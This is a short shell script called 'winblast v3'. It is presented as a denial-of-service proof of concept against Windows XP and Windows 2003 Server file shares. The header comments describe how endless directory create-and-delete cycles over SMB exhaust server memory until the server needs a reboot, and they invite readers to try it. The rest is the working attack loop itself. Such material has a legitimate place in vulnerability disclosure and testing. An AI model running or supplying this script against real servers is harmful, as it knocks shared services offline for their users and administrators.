# winblast v3 - DoS on WinXP, Win2003Srv

# I've encountered a strange problem mounting a Windows server share.
|
|
# My setup: Debian Linux, smbmount 3.0.0beta2 and Windows 2003 Server.
|
|
#
|
|
# When the client creates and deletes a lot of files on the server, the
|
|
# server suddenly ceases serving, i.e. you can not access files nor list
|
|
# directory contents any more.
|
|
# Example:
|
|
# knoppix:/mnt # ll /mnt/test
|
|
# ls: /mnt/test: Cannot allocate memory
|
|
#
|
|
# The only way to get the server working again is to reboot it. Rebooting
|
|
# the client does not help.
|
|
#
|
|
# If you want to try for yourself, check this shell script. The script will
|
|
# create 1000 directories and then takes turns deleting and re-creating
|
|
# them. There will be no more than those 1000 directories at any time.
|
|
# After having created (and deleted) 3.5 millions directories the server
|
|
# denies access to the share.
|
|
|
|
|
|
count=0
|
|
|
|
# using 'pathcount' directories
|
|
pathcount=1000
|
|
|
|
echo running \'winblast v3\' with $pathcount files in loop ...
|
|
|
|
while [ 1 ]; do
|
|
p=$((pathcount*2-1))
|
|
stop=$((pathcount-1))
|
|
while [ "$p" != "$stop" ]; do
|
|
dirname=wbst$p
|
|
# delete old directory if it exists and exit on any error
|
|
if [ -d $dirname ]; then
|
|
rmdir $dirname || exit 3
|
|
fi;
|
|
|
|
# generating directory and exit on any error
|
|
mkdir $dirname || exit 1
|
|
p=$((p-1))
|
|
count=$((count+1))
|
|
done;
|
|
echo $count directories generated ...
|
|
done;
